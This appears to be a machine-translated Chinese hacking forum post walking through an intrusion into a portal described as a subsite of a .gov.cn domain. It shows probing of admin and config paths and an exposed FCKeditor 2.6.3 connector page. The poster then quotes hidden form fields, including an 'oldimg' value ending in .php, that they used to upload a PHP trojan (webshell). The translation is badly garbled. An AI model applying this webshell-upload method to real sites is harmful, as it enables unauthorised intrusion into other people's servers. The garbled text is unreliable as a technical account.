One second-kill portal without Filtering

Let's take a look at this site www.2cto.com (to avoid legal issues, use the website address instead of the target website address)
:

 
This station is under http://www.xxx.gov.cn/side Station
A little scary
Let's take a look.
Http://www.bkjia.com/newsite/admin/
 
Obviously, this is the background

I did not try it at all. It is probably not successful. This is an experience.

But sometimes you can try
Cncmo cncmmo.com

Http://www.bkjia.com/inc/config. php

Connection failure

Http://www.bkjia.com/inc/conn. php

Http://www.bkjia.com/FCKeditor/_whatsnew.html

There is a FCK

Version 2.6.3
Http://www.bkjia.com/FCKeditor/editor/filemanager/connectors/test.html
= "Sorry, can't map" UserFilesPath "to a physical path. you must set the "UserFilesAbsolutePath" value in "editor/filemanager/connectors/php/config. php ". "/>

Read,. You understand.

I will not explain it here

FCKeditor/editor/filemanager/browser/default/browser.html? Type = Image & connector = connectors/asp/connector. asp 404

But I am not using him

I used a chicken hole in the background to design the Redirection Vulnerability,
 
<Input type = "hidden" name = "_ hash _" value = "9f133e1e1d740ba69c45f78b8c732a4c"/> </form>

View Source Code

<Input type = "hidden" name = "id" id = "id" value = "284"/>
<Input type = "hidden" name = "actiontype" id = "actiontype" value = "update"/>
<Input type = "hidden" name = "articlecatid" id = "articlecatid" value = "8"/>
<Input type = "hidden" name = "oldimg" id = "oldimg" value = "20120406144702.php"/>
<Input type = "submit" value = "submit"/>
<A href = "javascript: history. back ()" class = "gobackhref"> return </A>
</Td>
</Tr>

Submit a PHP Trojan and view the source code.

 



Source: Root Security Team
Http://root-sec.org/thread-498-1-1.html